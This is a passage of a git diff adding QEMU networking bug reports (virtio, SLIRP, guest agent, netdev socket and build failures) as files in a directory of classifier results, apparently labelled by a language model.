https://github.com/qemu/qemu/blob/044d65525f6ac2093042ae18dbf8c1300b5c1c18/net/net.c#L831 + +I run qemu 2.5 on x86_64 + +kind regards \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1575561 b/results/classifier/gemma3:12b/network/1575561 new file mode 100644 index 000000000..a2b9c2ac0 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1575561 @@ -0,0 +1,7 @@ + +config qemu virtio_queue_size to 1024，create vm boot from network failed + +config qemu virtio_queue_size to 1024，create vm boot from network failed。 +in the vm vncviewer，see the error log： +“ERROR queue size 1024 > 256 +could not open net0: no such file or directory" \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1579 b/results/classifier/gemma3:12b/network/1579 new file mode 100644 index 000000000..1823caa8e --- /dev/null +++ b/results/classifier/gemma3:12b/network/1579 @@ -0,0 +1,5 @@ + +Cache vdpa initialization & startup slow ioctls +Additional information: +* vring groups are cached in this patch, still not upstream [this example patch](https://lists.nongnu.org/archive/html/qemu-devel/2023-03/msg05961.html). +* hw/virtio/vhost-vdpa.c and net/vhost-vdpa.c are both files that worth exploring. diff --git a/results/classifier/gemma3:12b/network/1582 b/results/classifier/gemma3:12b/network/1582 new file mode 100644 index 000000000..08102f338 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1582 @@ -0,0 +1,2 @@ + +Floating-point-exception in rtl8139_cplus_transmit_one diff --git a/results/classifier/gemma3:12b/network/1584 b/results/classifier/gemma3:12b/network/1584 new file mode 100644 index 000000000..ce39874fd --- /dev/null +++ b/results/classifier/gemma3:12b/network/1584 @@ -0,0 +1,2 @@ + +TCP Previous segment not captured diff --git a/results/classifier/gemma3:12b/network/1593 b/results/classifier/gemma3:12b/network/1593 new file mode 100644 index 000000000..f7fe19d63 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1593 @@ -0,0 +1,8 @@ + +SLIRP hostfwd ignores bind address and uses `INADDR_ANY` +Description of problem: +When using `-netdev hostfwd=`..., qemu SLIRP uses `INADDR_ANY` instead of any bind address provided by the user. As a result, even if the user specifies to listen only on localhost (e.g. `-netdev user,hostfwd=tcp:127.0.0.1:22-:22`), qemu will listen on `*.*`. This is a potential security issue (as it may unexpectedly expose the guest to internet or local network traffic). +Additional information: +The bug is here: https://gitlab.com/qemu-project/qemu/-/blob/master/net/slirp.c#L777 + +Rather than hardcoding `INADDR_ANY`, qemu should respect the user-defined bind address. diff --git a/results/classifier/gemma3:12b/network/1601 b/results/classifier/gemma3:12b/network/1601 new file mode 100644 index 000000000..bcf444706 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1601 @@ -0,0 +1,81 @@ + +QEMU Guest Agent (qga) high CPU usage (1 core at 100%). May happen with guest-network-get-interfaces. Strace says: EAGAIN (Resource temporarily unavailable) +Description of problem: +I have a VM that has the QEMU guest agent installed. I use the QGA to get information periodically about the network interfaces. Meaning, I execute the `guest-network-get-interfaces` in a period around 1-2 seconds each. + +After a while (maybe a day or so) the QGA seems to lock up with the CPU at 100% in 1 core. It does not reply to more commands, and restarting the service sometimes doesn't work, so a hard reboot it is. + +`dmesg` doesn't show anything useful/relevant. When attempting to edit the `qemu-guest-agent.service` and append `/usr/bin/strace` to it, I can get this in a loop: + +``` +strace[114154]: write(4, "{\"return\": [{\"name\": \"lo\", \"ip-a"..., 2047) = -1 EAGAIN (Resource temporarily unavailable) +strace[114154]: write(4, "{\"return\": [{\"name\": \"lo\", \"ip-a"..., 2047) = -1 EAGAIN (Resource temporarily unavailable) +strace[114154]: write(4, "{\"return\": [{\"name\": \"lo\", \"ip-a"..., 2047) = -1 EAGAIN (Resource temporarily unavailable) +strace[114154]: write(4, "{\"return\": [{\"name\": \"lo\", \"ip-a"..., 2047) = -1 EAGAIN (Resource temporarily unavailable) +strace[114154]: write(4, "{\"return\": [{\"name\": \"lo\", \"ip-a"..., 2047) = -1 EAGAIN (Resource temporarily unavailable) +strace[114154]: write(4, "{\"return\": [{\"name\": \"lo\", \"ip-a"..., 2047) = -1 EAGAIN (Resource temporarily unavailable) +strace[114154]: write(4, "{\"return\": [{\"name\": \"lo\", \"ip-a"..., 2047) = -1 EAGAIN (Resource temporarily unavailable) +strace[114154]: write(4, "{\"return\": [{\"name\": \"lo\", \"ip-a"..., 2047) = -1 EAGAIN (Resource temporarily unavailable) +``` + +I don't have more knowledge to debug this further. I can help to provide more info if some guidance is provided. + +**Don't know if it helps/affects**, but the guest VM is running Docker with around 10 containers or so, so when QGA works, I get around 18 network interfaces, counting loopback, docker `veth`s and `br` interfaces. +Steps to reproduce: +1. Create a VM with Fedora 37 +2. Install the QEMU Guest Agent +3. Call `guest-network-get-interfaces` in a loop every 1-2 seconds (after it finishes) through QGA using the unix socket using the provided python script, called as: `python qga.py --socket /run/test-vm-108.qga '{ "execute": "guest-network-get-interfaces" }'` +4. Eventually, the guest agent will lock up at 100% CPU usage on 1 core +Additional information: +Python script used to call QGA: +``` +import argparse +import socket +import sys + +def main(): + buf_size = 1024 + timeout_secs = .5 + + parser = argparse.ArgumentParser() + parser.add_argument('--socket', required=True, help='Path to Unix socket') + parser.add_argument('request', help='Request to send') + args = parser.parse_args() + + unix_socket_path = args.socket + request = args.request + + try: + with socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) as sock: + sock.settimeout(timeout_secs) + sock.connect(unix_socket_path) + + request_bytes = request.encode('utf-8') + sock.sendall(request_bytes) + + response_bytes = b'' + received_bytes = sock.recv(buf_size) + response_bytes += received_bytes + + sock.setblocking(False) + while True: + try: + received_bytes = sock.recv(buf_size) + if not received_bytes: + break + response_bytes += received_bytes + except (BlockingIOError, TimeoutError): + break + except (FileNotFoundError, ConnectionRefusedError): + sock.close() + sys.exit() + + response = response_bytes.decode('utf-8').strip() + print(response) + + except (TimeoutError, FileNotFoundError, BlockingIOError, ConnectionRefusedError): + sys.exit() + +if __name__ == "__main__": + main() +``` diff --git a/results/classifier/gemma3:12b/network/1604303 b/results/classifier/gemma3:12b/network/1604303 new file mode 100644 index 000000000..140ea2f0c --- /dev/null +++ b/results/classifier/gemma3:12b/network/1604303 @@ -0,0 +1,12 @@ + +Solaris on KVM/QEMU: WARNING rtls0: Failure resetting PHY + +When running Solaris (both version 10 and 11) on a QEMU/KVM virtual host, the Solaris guest displays this warning just after starting the system: +WARNING rtls0: Failure resetting PHY. + +Although the networking seems to work fine. + +I have this network device model selected for the Solaris guest: rtl8139 + +See also: +http://www.linux-kvm.org/page/Guest_Support_Status#UNIX_Family:_Solaris.2FOpenSolaris \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1613133 b/results/classifier/gemma3:12b/network/1613133 new file mode 100644 index 000000000..32dd4c989 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1613133 @@ -0,0 +1,101 @@ + +SLIRP code regression fails to build on OpenBSD + +The SLIRP code has regressed between 2.6 and 2.7 and now fails to build on OpenBSD. + +cc -I/home/ports/pobj/qemu-2.7.0-rc2/qemu-2.7.0-rc2/tcg -I/home/ports/pobj/qemu-2.7.0-rc2/qemu-2.7.0-rc2/tcg/i386 -I. -I/home/ports/pobj/qemu-2.7.0-rc2/qemu-2.7.0-rc2 -I/home/ports/pobj/ +qemu-2.7.0-rc2/qemu-2.7.0-rc2/include -Islirp -Islirp -I/usr/X11R6/include/pixman-1 -DHAS_LIBSSH2_SFTP_FSYNC -fPIE -DPIE -m64 -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE -W +strict-prototypes -Wredundant-decls -Wall -Wundef -Wwrite-strings -Wmissing-prototypes -fno-strict-aliasing -fno-common -I/usr/local/include -I/usr/X11R6/include -Wno-redundant-decls -D +TIME_MAX=LLONG_MAX -Wendif-labels -Wmissing-include-dirs -Wempty-body -Wnested-externs -Wformat-security -Wformat-y2k -Winit-self -Wignored-qualifiers -Wold-style-declaration -Wold-style +-definition -Wtype-limits -fstack-protector-strong -I/usr/local/include -I/usr/local/include/p11-kit-1 -I/usr/include -I/usr/local/include -I/usr/local/include/libpng16 -I/usr/local/inc +lude/libusb-1.0 -I/home/ports/pobj/qemu-2.7.0-rc2/qemu-2.7.0-rc2/tests -MMD -MP -MT slirp/slirp.o -MF slirp/slirp.d -pthread -I/usr/local/include/glib-2.0 -I/usr/local/lib/glib-2.0/inclu +de -I/usr/local/include -O2 -pipe -c -o slirp/slirp.o slirp/slirp.c +In file included from /usr/include/net/if.h:454:0, + from slirp/slirp.c:34: +/usr/include/net/if_arp.h:47:8: error: redefinition of 'struct arphdr' + struct arphdr { + ^ +In file included from slirp/slirp.c:29:0: +slirp/slirp.h:108:8: note: originally defined here + struct arphdr { + ^ +slirp/slirp.c: In function 'arp_input': +slirp/slirp.c:790:15: error: 'struct arphdr' has no member named 'ar_tip' + if (ah->ar_tip == ah->ar_sip) { + ^ +slirp/slirp.c:790:29: error: 'struct arphdr' has no member named 'ar_sip' + if (ah->ar_tip == ah->ar_sip) { + ^ +slirp/slirp.c:792:36: error: 'struct arphdr' has no member named 'ar_sip' + arp_table_add(slirp, ah->ar_sip, ah->ar_sha); + ^ +slirp/slirp.c:792:48: error: 'struct arphdr' has no member named 'ar_sha' + arp_table_add(slirp, ah->ar_sip, ah->ar_sha); + +slirp/slirp.c:796:16: error: 'struct arphdr' has no member named 'ar_tip' + if ((ah->ar_tip & slirp->vnetwork_mask.s_addr) == + ^ +slirp/slirp.c:798:19: error: 'struct arphdr' has no member named 'ar_tip' + if (ah->ar_tip == slirp->vnameserver_addr.s_addr || + ^ +slirp/slirp.c:799:19: error: 'struct arphdr' has no member named 'ar_tip' + ah->ar_tip == slirp->vhost_addr.s_addr) + ^ +slirp/slirp.c:802:49: error: 'struct arphdr' has no member named 'ar_tip' + if (ex_ptr->ex_addr.s_addr == ah->ar_tip) + ^ +slirp/slirp.c:809:36: error: 'struct arphdr' has no member named 'ar_sip' + arp_table_add(slirp, ah->ar_sip, ah->ar_sha); + ^ +slirp/slirp.c:809:48: error: 'struct arphdr' has no member named 'ar_sha' + arp_table_add(slirp, ah->ar_sip, ah->ar_sha); + ^ +slirp/slirp.c:814:42: error: 'struct arphdr' has no member named 'ar_tip' + memcpy(&reh->h_source[2], &ah->ar_tip, 4); + ^ +slirp/slirp.c:822:23: error: 'struct arphdr' has no member named 'ar_sha' + memcpy(rah->ar_sha, reh->h_source, ETH_ALEN); + ^ +slirp/slirp.c:823:16: error: 'struct arphdr' has no member named 'ar_sip' + rah->ar_sip = ah->ar_tip; + ^ +slirp/slirp.c:823:29: error: 'struct arphdr' has no member named 'ar_tip' + rah->ar_sip = ah->ar_tip; + ^ +slirp/slirp.c:824:23: error: 'struct arphdr' has no member named 'ar_tha' + memcpy(rah->ar_tha, ah->ar_sha, ETH_ALEN); + +slirp/slirp.c:824:35: error: 'struct arphdr' has no member named 'ar_sha' + memcpy(rah->ar_tha, ah->ar_sha, ETH_ALEN); + ^ +slirp/slirp.c:825:16: error: 'struct arphdr' has no member named 'ar_tip' + rah->ar_tip = ah->ar_sip; + ^ +slirp/slirp.c:825:29: error: 'struct arphdr' has no member named 'ar_sip' + rah->ar_tip = ah->ar_sip; + ^ +slirp/slirp.c:830:32: error: 'struct arphdr' has no member named 'ar_sip' + arp_table_add(slirp, ah->ar_sip, ah->ar_sha); + ^ +slirp/slirp.c:830:44: error: 'struct arphdr' has no member named 'ar_sha' + arp_table_add(slirp, ah->ar_sip, ah->ar_sha); + ^ +slirp/slirp.c: In function 'if_encap4': +slirp/slirp.c:910:23: error: 'struct arphdr' has no member named 'ar_sha' + memcpy(rah->ar_sha, special_ethaddr, ETH_ALEN - 4); + ^ +slirp/slirp.c:911:24: error: 'struct arphdr' has no member named 'ar_sha' + memcpy(&rah->ar_sha[2], &slirp->vhost_addr, 4); + ^ +slirp/slirp.c:914:16: error: 'struct arphdr' has no member named 'ar_sip' + rah->ar_sip = slirp->vhost_addr.s_addr; + ^ +slirp/slirp.c:917:23: error: 'struct arphdr' has no member named 'ar_tha' + memset(rah->ar_tha, 0, ETH_ALEN); + ^ +slirp/slirp.c:920:16: error: 'struct arphdr' has no member named 'ar_tip' + rah->ar_tip = iph->ip_dst.s_addr; + ^ +gmake: *** [/home/ports/pobj/qemu-2.7.0-rc2/qemu-2.7.0-rc2/rules.mak:59: slirp/slirp.o] Error 1 +*** Error 2 in . (/home/ports/infrastructure/mk/bsd.port.mk:2674 '/home/ports/pobj/qemu-2.7.0-rc2/.build_done') +*** Error 1 in /home/ports/emulators/qemu (/home/ports/infrastructure/mk/bsd.port.mk:2396 'all') \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1619896 b/results/classifier/gemma3:12b/network/1619896 new file mode 100644 index 000000000..a32b53320 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1619896 @@ -0,0 +1,51 @@ + +linux-user missing cmsg IP_PKTINFO support ("Unsupported ancillary data: 0/8") + +Hello, + +I have the following issue when launching the Teamspeak Server x86 binary on an arm host. + +Host: + Linux 4.6.2 (vanilla) + Ubuntu 14.04.5 LTS + HW: Cubietruck board, armv7l + + +Used SW: Release archive qemu-2.7.0.tar.bz2 and git commit 1dc33ed90bf1fe1c2014dffa0d9e863c520d953a +Configure options: + ../configure --target-list=i386-linux-user +I attached the output of the configure script as configure.log + +Testcase: + +1. Download and extract TeamSpeak 3 Server 3.0.13.3 (x86) + Souce: http://dl.4players.de/ts/releases/3.0.13.3/teamspeak3-server_linux_x86-3.0.13.3.tar.bz2 + +2. Modifiy ts3server_minimal_runscript.sh for ease of use + - ./ts3server $@ + + /usr/local/bin/qemu-i386 ./ts3server $@ + +3. Execute ./ts3server_minimal_runscript.sh + +Wait for 6 Minutes until teamspeak server started. QEMU saturates the cpu while Teamspeak is precomputing a puzzle. (Whatever that means) + +After that Teamspeak settles with the following output: + 2016-09-03 10:50:59.555582|INFO |Query | |listening on 0.0.0.0:10011, :::10011 + +The Qemu process is now idling with ~2% cpu load. This is actually the first time for me that QEMU is able to successfully launch the Teamspeak server. Kudos! + +4. Connect client 1 + +TS Clients can connect, but the following line is printed pretty often: + Unsupported ancillary data: 0/8 + +The line seems to come from qemu (linux-user/syscall.c) + + +5. Connect client 2 +When a second client is connected the audio transmission is successful for a few seconds, but the server drops the connection after that and refuses to take new connections. + +Please let me know, if you need more information. I'll gladly provide strace or valgrind logs. + +Best regards, +Tobias \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1626596 b/results/classifier/gemma3:12b/network/1626596 new file mode 100644 index 000000000..4f1adae83 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1626596 @@ -0,0 +1,16 @@ + +Lockup with vhost network + +After using Qemu in this configuration successfully for quite a while, I changed two things: +- moved the VM from a 8-core 4GHz host to a slower 2-core 1.6 Ghz machine +- upgraded qemu from 2.1 to 2.5 + +and almost immediately (in a couple hours) got hit with a vhost-related lockup. + +QEMU command line is: + +qemu-system-x86_64 -enable-kvm -daemonize -monitor unix:./monitor,server,nowait -cpu host -M q35 -balloon virtio -device virtio-scsi-pci,id=scsi -device scsi-hd,drive=hd -drive if=none,id=hd,cache=writeback,aio=native,format=raw,file=xxxx.img,discard=unmap,detect-zeroes=unmap -device virtio-net-pci,netdev=net0,mac=xxxx -netdev tap,vhost=on,id=net0,script=xxxx.sh -usbdevice tablet -smp 2 -m 512 -vnc xxxx:yz + +VM was running fine, except no network traffic was passed from/to it. Shutting down the VM, it hung at "Will now halt." The QEMU process was unkillable, so the only choice was to sysrq-b the entire box. + +dmesg with sysrq-w attached. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1628971 b/results/classifier/gemma3:12b/network/1628971 new file mode 100644 index 000000000..b9cb36b46 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1628971 @@ -0,0 +1,58 @@ + +-netdev user: guestfwd doesn't work + +Hello! + +QEMU emulator version 2.6.1 (Debian 1:2.6.1+dfsg-0ubuntu4), Copyright (c) 2003-2008 Fabrice Bellard + +The IP address 192.168.1.46 is assigned to eth0. + +qemu-system-x86_64 \ + -no-hpet \ + -nodefconfig \ + -machine accel=kvm \ + -cpu host \ + -smp 2 \ + -drive if=virtio,file=yakkety-server-cloudimg-amd64.img \ + -device virtio-net-pci,netdev=net0 \ + -netdev 'user,id=net0,hostfwd=tcp::2222-:22,guestfwd=tcp:1.2.3.4:1234-cmd:nc 192.168.1.46 8842' \ + -m 1024 \ + -initrd yakkety-server-cloudimg-amd64-initrd-generic \ + -kernel yakkety-server-cloudimg-amd64-vmlinuz-generic \ + -append 'root=/dev/vda1 modprobe.blacklist=floppy systemd.log_level=debug systemd.journald.forward_to_console=1' + +Without the guestfwd=... part everything works nicely. With it I get the following message. + + +qemu-system-x86_64: -netdev user,id=net0,hostfwd=tcp::2222-:22,guestfwd=tcp:1.2.3.4:1234-cmd:nc 192.168.1.46 8842: conflicting/invalid host:port in guest forwarding rule 'tcp:1.2.3.4:1234-cmd:nc 192.168.1.46 8842' +qemu-system-x86_64: -netdev user,id=net0,hostfwd=tcp::2222-:22,guestfwd=tcp:1.2.3.4:1234-cmd:nc 192.168.1.46 8842: Device 'user' could not be initialized + + +But I just compiled c640f2849ee8775fe1bbd7a2772610aa77816f9f, and I get the same behavior. + +pas@strange:~/qemu/x86_64-softmmu$ ./qemu-system-x86_64 -net 'user,guestfwd=tcp:1.2.3.4:1234-cmd:nc 192.168.1.48 80' +qemu-system-x86_64: -net user,guestfwd=tcp:1.2.3.4:1234-cmd:nc 192.168.1.48 80: conflicting/invalid host:port in guest forwarding rule 'tcp:1.2.3.4:1234-cmd:nc 192.168.1.48 80' +qemu-system-x86_64: -net user,guestfwd=tcp:1.2.3.4:1234-cmd:nc 192.168.1.48 80: Device 'user' could not be initialized + + +After poking a bit around it seems that this check fails in slirp/slirp.c: (around line 1074) + + if ((guest_addr->s_addr & slirp->vnetwork_mask.s_addr) != + slirp->vnetwork_addr.s_addr || + guest_addr->s_addr == slirp->vhost_addr.s_addr || + guest_addr->s_addr == slirp->vnameserver_addr.s_addr) { + return -1; + } + +Because guest_addr, and slirp has equivalent s_addr values. + +x86_64-softmmu/qemu-system-x86_64 -net 'user,net=10.0.2.0/24,host=10.0.2.2,guestfwd=tcp:12.0.0.2:80-cmd:echo ok' + +guest_addr: 12.0.0.2 +vnetwork_mask: 12.0.0.2 +vhost_addr: 12.0.0.2 +vnameserver_addr: 12.0.0.2 +guest_addr & mask: 12.0.0.2 + + +Thanks in advance for looking into this! \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1633508 b/results/classifier/gemma3:12b/network/1633508 new file mode 100644 index 000000000..99910b670 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1633508 @@ -0,0 +1,34 @@ + +libvirt cannot hot insert interfaces to qemu + +When attempting to hot insert an interface using Ubuntu 16.04.1, I get the following +$ virsh attach-interface --domain gluster1 --type direct \ +> --source test0 --model virtio \ +> --mac 2a:b6:b0:dc:c7:c4 --config --live +error: Failed to attach interface +error: internal error: unable to execute QEMU command 'getfd': No file descriptor supplied via SCM_RIGHTS + +test0 exists: +$ ip link show test0 +35: test0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc pfifo_fast state DOWN mode DEFAULT group default qlen 1000 + link/ether aa:8c:65:2e:79:61 brd ff:ff:ff:ff:ff:ff + +Just in case I did it wrong with direct, I did network +$ virsh net-list + Name State Autostart Persistent +---------------------------------------------------------- + default active yes yes + mgmtnet0 active yes yes + +$ virsh attach-interface --domain gluster1 --type network \ +> --source default --model virtio \ +> --mac 2a:b6:b0:dc:c7:c4 --config --live +error: Failed to attach interface +error: internal error: unable to execute QEMU command 'getfd': No file descriptor supplied via SCM_RIGHTS + + +This seems to be an old bug, but is still present. Other relevant information: +$ qemu-system-x86_64 --version +QEMU emulator version 2.5.0 (Debian 1:2.5+dfsg-5ubuntu10.5), Copyright (c) 2003-2008 Fabrice Bellard +$ virsh -v +1.3.1 \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1640525 b/results/classifier/gemma3:12b/network/1640525 new file mode 100644 index 000000000..ee51e503a --- /dev/null +++ b/results/classifier/gemma3:12b/network/1640525 @@ -0,0 +1,109 @@ + +-net socket,connect/listen does not work in 2.7.0 + +Using 2.7.0 release on Debian Sid. What I did: start one VM with: +---- +/home/pierre/build/qemu/build/x86_64-softmmu/qemu-system-x86_64 \ +-smp 4 \ +-cpu Nehalem \ +-soundhw ac97 \ +-k fr \ +-localtime \ +-enable-kvm \ +-m 4099 \ +-drive file=/mnt/virtualMachines/qemu/lfs-7.10-porg.qcow2,cache=writeback \ +-cdrom /mnt/virtualMachines/qemu/grub-img.iso \ +-boot order=c,once=d,menu=on \ +-vga std \ +-serial mon:stdio \ +-net nic,vlan=0,model=e1000,macaddr=52:54:00:12:34:58 \ +-net user,vlan=0,hostfwd=tcp::2223-10.0.2.9:22 \ +-net nic,vlan=1,model=e1000,macaddr=52:54:00:12:34:56 \ +-net socket,vlan=1,listen=:4321 +---- +Start another one with: +---- +/home/pierre/build/qemu/build/x86_64-softmmu/qemu-system-x86_64 \ +-smp 4 \ +-cpu Nehalem \ +-soundhw ac97 \ +-k fr \ +-localtime \ +-enable-kvm \ +-m 4099 \ +-drive file=/mnt/virtualMachines/qemu/lfs-7.10-october.qcow2,cache=writeback \ +-cdrom /mnt/virtualMachines/qemu/grub-img.iso \ +-boot order=c \ +-serial mon:stdio \ +-vga std \ +-net nic,vlan=0,model=e1000,macaddr=52:54:00:12:34:57 \ +-net socket,vlan=0,connect=localhost:4321 +---- +The network settings of the first machine are: +---- +1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1 + link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 + inet 127.0.0.1/8 scope host lo + valid_lft forever preferred_lft forever +2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master br0 state UP group default qlen 1000 + link/ether 52:54:00:12:34:58 brd ff:ff:ff:ff:ff:ff +3: enp0s4: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master br0 state UP group default qlen 1000 + link/ether 52:54:00:12:34:56 brd ff:ff:ff:ff:ff:ff +4: br0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000 + link/ether 52:54:00:12:34:56 brd ff:ff:ff:ff:ff:ff + inet 10.0.2.9/24 brd 10.0.2.255 scope global br0 + valid_lft forever preferred_lft forever +---- +The network settings on the second machine are: +---- +1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1 + link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 + inet 127.0.0.1/8 scope host lo + valid_lft forever preferred_lft forever +2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 + link/ether 52:54:00:12:34:57 brd ff:ff:ff:ff:ff:ff + inet 10.0.2.10/24 brd 10.0.2.255 scope global enp0s3 + valid_lft forever preferred_lft forever +---- +typing "ping -c 1 10.0.2.10" on the first machine returns: +---- +PING 10.0.2.10 (10.0.2.10): 56 data bytes +92 bytes from virtuallfs (10.0.2.9): Destination Host Unreachable +--- 10.0.2.10 ping statistics --- +1 packets transmitted, 0 packets received, 100% packet loss +---- +and something similar when typing "ping -c 1 10.0.2.9" on the second machine. + +This very same setting works as expected in version 2.6.0. I could bisect, and the offending commit is 16a3df403b1: +---- +commit 16a3df403b10c4ac347159e39005fd520b2648bb +Author: Zhang Chen <email address hidden> +Date: Fri May 13 15:35:19 2016 +0800 + + net/net: Add SocketReadState for reuse codes + + This function is from net/socket.c, move it to net.c and net.h. + Add SocketReadState to make others reuse net_fill_rstate(). + suggestion from jason. + + v4: + - move 'rs->finalize = finalize' to rs_init() + + v3: + - remove SocketReadState init callback + - put finalize callback to net_fill_rstate() + + v2: + - rename ReadState to SocketReadState + - add SocketReadState init and finalize callback + + v1: + - init patch + + Signed-off-by: Zhang Chen <email address hidden> + Signed-off-by: Li Zhijian <email address hidden> + Signed-off-by: Wen Congyang <email address hidden> + Signed-off-by: Jason Wang <email address hidden> +---- + +BTW, the systems on both VM are built from http://www.linuxfromscratch.org. But I do not think this is important, since I could do the bisect. Of course, I'll be happy to try other VMs, if you point me to some. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1642421 b/results/classifier/gemma3:12b/network/1642421 new file mode 100644 index 000000000..486a25c96 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1642421 @@ -0,0 +1,66 @@ + +qemu-system-x86_64: ipv6 and dns is broken with netdev user + +Hi, + +dhcp inside qemu returns an ipv6 address as dns-server. However this is not +working. If i replace it with the ipv4 address '10.0.0.2' dns is working +again. I would expect that the qemu emulated dhcp server responds either an +ipv4 configuration that is working or its dns server/forwarder listens on the +ipv6 address returned by the emulated dhcp server. + +I used latest qemu from git ( b0bcc86d2a87456f5a276f941dc775b265b309cf) and used the following commands: + +$ ./qemu-system-x86_64 -enable-kvm -M pc -device virtio-rng-pci -device +virtio-net-pci,netdev=user.0 -drive file=buildenv.img,if=virtio,bus=1,unit=0 +-no-reboot -netdev user,id=user.0,hostfwd=tcp::5022-:22,hostfwd=tcp::7587-:7588 +-m 1024 -usb -nographic -smp 4 + +buildenv.img is a debian jessie amd64 installation. + +Inside qemu the network is configured to use dhcp: + +$ cat /etc/network/interfaces +allow-hotplug eth0 +iface eth0 inet dhcp + +$ ifconfig eth0 +eth0 Link encap:Ethernet HWaddr 52:54:00:12:34:56 + inet addr:10.0.2.15 Bcast:10.0.2.255 Mask:255.255.255.0 + inet6 addr: fe80::5054:ff:fe12:3456/64 Scope:Link + inet6 addr: fec0::5054:ff:fe12:3456/64 Scope:Site + UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 + RX packets:10 errors:0 dropped:0 overruns:0 frame:0 + TX packets:28 errors:0 dropped:0 overruns:0 carrier:0 + collisions:0 txqueuelen:1000 + RX bytes:3215 (3.1 KiB) TX bytes:3638 (3.5 KiB) + +$ cat /etc/resolv.conf +nameserver fec0::3 + +$ arp google.de +google.de: Host name lookup failure + +$ strace -f arp google.de +... +socket(PF_INET6, SOCK_DGRAM|SOCK_NONBLOCK, IPPROTO_IP) = 4 +connect(4, {sa_family=AF_INET6, sin6_port=htons(53), inet_pton(AF_INET6, "fec0::3", &sin6_addr), sin6_flowinfo=0, sin6_scope_id=0}, 28) = 0 +poll([{fd=4, events=POLLOUT}], 1, 0) = 1 ([{fd=4, revents=POLLOUT}]) +sendto(4, "\17\320\1\0\0\1\0\0\0\0\0\0\6google\2de\0\0\1\0\1", 27, MSG_NOSIGNAL, NULL, 0) = 27 +poll([{fd=4, events=POLLIN}], 1, 5000) = 0 (Timeout) +poll([{fd=4, events=POLLOUT}], 1, 0) = 1 ([{fd=4, revents=POLLOUT}]) +sendto(4, "\17\320\1\0\0\1\0\0\0\0\0\0\6google\2de\0\0\1\0\1", 27, MSG_NOSIGNAL, NULL, 0) = 27 +poll([{fd=4, events=POLLIN}], 1, 5000) = 0 (Timeout) +close(4) = 0 +... + +$ echo nameserver 10.0.0.2 > /etc/resolv.conf + +$ arp google.de +google.de (216.58.208.35) -- no entry + +Note: I reported this bug also to debian: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=844566 + +Regards, + + Manuel \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1643 b/results/classifier/gemma3:12b/network/1643 new file mode 100644 index 000000000..3e9a57592 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1643 @@ -0,0 +1,2 @@ + +Connect to MACVTAP by name diff --git a/results/classifier/gemma3:12b/network/1656 b/results/classifier/gemma3:12b/network/1656 new file mode 100644 index 000000000..8107d5dcc --- /dev/null +++ b/results/classifier/gemma3:12b/network/1656 @@ -0,0 +1,8 @@ + +https://wiki.qemu.org/: TLS certificate has expired (`May 14 21:15:57 2023 GMT`) +Description of problem: +The ceritficate for https://wiki.qemu.org/ has expired on May 14 21:15:57 2023 GMT. +Steps to reproduce: +1. Browse https://wiki.qemu.org/ +Additional information: + diff --git a/results/classifier/gemma3:12b/network/1656234 b/results/classifier/gemma3:12b/network/1656234 new file mode 100644 index 000000000..6cdbf633a --- /dev/null +++ b/results/classifier/gemma3:12b/network/1656234 @@ -0,0 +1,38 @@ + +Qemu core dumped if using virtio-net + +System Environment +======= +Qemu commit/branch: e92fbc75 +Host OS: RHEL7.2 ia32e +Host Kernel: 4.9.0 +Guest OS: RHEL7.2 ia32e +Guest Kernel: 4.9.0 + +Bug detailed description +======= +While create a kvm guest using virtio-net, the qemu will core dump with showing "Aborted (core dumped)". +Reproduce Steps +============== +create a guest: +qemu-system-x86_64 -enable-kvm -m 4096 -smp 4 -device virtio-net-pci,netdev=nic0,mac=00:16:3e:49:be:24 -netdev tap,id=nic0,script=/etc/kvm/qemu-ifup -drive file=/ia32e_rhel7u2_kvm.qcow2,if=none,id=virtio-disk0 -device virtio-blk-pci,drive=virtio-disk0 -serial file:serial.log + +Current Result: +============== + +qemu-system-x86_64: /workspace/ia32e/nightly/kvm-next-20170105-ef85b6-e92fbc/kvm/qemu/hw/virtio/virtio.c:214: virtio_queue_set_notification: Assertion `vq->notification_disabled > 0' failed. +Aborted (core dumped) + +add info +======== +[root@hsw-ep2 Desktop]# dmesg |grep -v virbr0 |tail -n 10 +[ 1760.265000] device tap0 left promiscuous mode +[ 1879.148642] device tap0 entered promiscuous mode +[ 1885.213702] kvm [14186]: vcpu0, guest rIP: 0xffffffff81066784 disabled perfctr wrmsr: 0xc2 data 0xffff +[ 1912.258783] device tap0 left promiscuous mode +[ 1995.972267] device tap0 entered promiscuous mode +[ 2001.990207] kvm 